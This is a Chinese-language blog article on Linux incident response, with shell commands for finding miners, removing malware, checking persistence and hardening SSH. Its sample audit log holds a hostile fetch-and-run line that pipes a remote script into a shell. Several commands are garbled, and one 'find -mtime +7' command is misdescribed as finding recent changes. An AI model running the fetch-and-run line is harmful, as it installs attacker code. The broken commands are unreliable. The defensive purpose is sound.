Linux的应急响应技巧是什么

63次阅读
没有评论

共计 3172 个字符,预计需要花费 8 分钟才能阅读完成。

Linux 的应急响应技巧是什么,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面丸趣 TV 小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

概述

Linux 环境下处理应急响应事件往往会更加的棘手,因为相比于 Windows,Linux 没有像 Autorun、procexp 这样的应急响应利器,也没有统一的应急响应处理流程。

所以,这篇文章将会对 Linux 环境下的应急响应流程进行讲解,并且提供每一个环节中所用到的 shell 命令,以帮助大家快速、系统化地处理 Linux 环境下的病毒。

处理 Linux 应急响应主要分为这 4 个环节:识别现象 - 清除病毒 - 闭环兜底 - 系统加固。

首先从用户场景的主机异常现象出发,先识别出病毒的可疑现象。然后定位到具体的病毒进程以及病毒文件,进行清除。

完成前 2 步还不够,病毒一般会通过一些自启动项及守护程序进行重复感染,所以我们要执行闭环兜底确保病毒不再被创建。

将主机上的病毒项清除干净后,最后就是进行系统加固了,防止病毒从 Web 再次入侵进来。

走完这 4 个环节,才能算是一个应急响应流程的结束。

识别现象

第 1 个环节要求我们通过系统运行状态、安全设备告警,发现主机异常现象,以及确认病毒的可疑行为。

系统 CPU 是否异常

枚举进程,CPU 降序排序:top

CPU 占用率超过 70% 且名字比较可疑的进程,大概率就是挖矿病毒了。

是否存在可疑进程

枚举进程命令行:ps -aux

病毒一般都携带可疑的命令行,当你发现命令行中带有 url 等奇怪的字符串时,就要注意了,它很可能是个病毒 downloader。

安全网关有无报警

从安全网关报警中识别出威胁是最直接,但确认主机已经感染了病毒只是第一步,接下来得定位,具体是哪个进程在与 C C 通信。

监控与目标 IP 通信的进程:

while true; do netstat -antp | grep [ip]; done

有时安全网关检测到的不全是恶意 IP,还有可能是个域名,这种情况下,域名对应的 IP 是变化的,我们不能直接用上述方法进行监控。

我们可以先在 host 文件中添加一条规则,将恶意域名重定向到一个随机的 IP 地址,然后对其进行监控。

这样就能得到与之通信的恶意进程了。

有无可疑历史命令

遍历主机历史命令,查找有无恶意命令:history

清除病毒

从第 1 个环节追溯到的进程信息,将会帮助我们定位到病毒进程 病毒文件,实现清除。

结束病毒进程

清除可疑进程的进程链:

ps -elf | grep [pid] kill -9 [pid]

删除病毒文件

定位病毒进程对应的文件路径:

ls -al /proc/[pid]/exe rm -f [exe_path]

闭环兜底

Linux 下的病毒持久化驻留方式相比于 Windows 较少,主要以下 4 种方式。

检查是否存在可疑定时任务

枚举定时任务:crontab-l

查看 anacron 异步定时任务:cat/etc/anacrontab

检查是否存在可疑服务

枚举主机所有服务,查看是否有恶意服务:

service--status-all

检查系统文件是否被劫持

枚举系统文件夹的文件,按修改事件排序查看 7 天内被修改过的文件:

find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la

检查是否存在病毒守护进程

监控守护进程的行为:lsof-p[pid]

strace-tt-T -etrace=all-p$pid

扫描是否存在恶意驱动

枚举 / 扫描系统驱动:lsmod

安装 chkrootkit 进行扫描:

wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gztar zxvf chkrootkit.tar.gzcd chkrootkit-0.52make sense./chkrootkit

安装 rkhunter 进行扫描:

Wgethttps://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz tar -zxvf rkhunter-1.4.4.tar.gz cd rkhunter-1.4.4 ./installer.sh --install rkhunter -c

最后一个环节往往是大家比较容易遗忘的,Linux 平台下 90% 的病毒是通过网络传播感染的,所以,你的主机之所以会感染病毒,大部分原因也是因为 Web 安全防护不够,赶紧检查一下。

修改 SSH 弱密码

查询 log 主机登陆日志:

grep  Accepted   /var/log/secure* | awk  {print $1,$2,$3,$9,$11}

定位有爆破的源 IP:

grep  Failed password  /var/log/secure|grep -E -o  (25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?) |uniq -c

爆破日志的用户名密码:

grep  Failed password  /var/log/secure|perl -e  while($_=){ /for(.*?) from/; print  $1n } |uniq -c|sort -nr

SSH 爆破是 Linux 病毒最常用的传播手段,若存在弱密码的主机很容易被其他感染主机 SSH 爆破成功,从而再次感染病毒。

添加命令审计

为历史的命令增加登录的 IP 地址、执行命令时间等信息:

[1] 保存 1 万条命令:

sed -i  s/^HISTSIZE=1000/HISTSIZE=10000/g  /etc/profile

[2] 在 /etc/profile 的文件尾部添加如下行数配置信息:

USER_IP=`who -u am i 2 /dev/null | awk  {print $NF}  | sed -e  s/[()]//g ` if [  $USER_IP  =   ] then USER_IP=`hostname` fi export HISTTIMEFORMAT= %F %T $USER_IP `whoami`   shopt -s histappend export PROMPT_COMMAND= history -a

[3] 让配置生效:

source /etc/profile

生成效果:

762019-10-2817:05:34113.110.229.230 wget -q -T180 -O-http://103.219.112.66:8000/i.sh) | sh

打上常见 Web 漏洞补丁

structs2 系列 RCE 漏洞

thinkphp5.XRCE 漏洞

Redis 未授权访问漏洞

ConfluenceRCE 漏洞(CVE_2019_3396)

DrupalRCE 漏洞(CVE-2018-7600)

ThinkPHPRCE 漏洞(CVE-2019-9082)

Linux 平台下的恶意软件威胁以僵尸网络蠕虫和挖矿病毒为主,由于 Linux 大多作为服务器暴露在公网,且 Web 应用的漏洞层出不穷,所以很容易被大范围入侵,如常见的病毒:DDG、systemdMiner、BillGates、watchdogs、XorDDos,在很多 Linux 上都有。大家要养成不使用弱密码、勤打补丁的好习惯。

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注丸趣 TV 行业资讯频道,感谢您对丸趣 TV 的支持。

正文完
 
丸趣
版权声明:本站原创文章,由 丸趣 2023-08-25发表,共计3172字。
转载说明:除特殊说明外本站除技术相关以外文章皆由网络搜集发布,转载请注明出处。
评论(没有评论)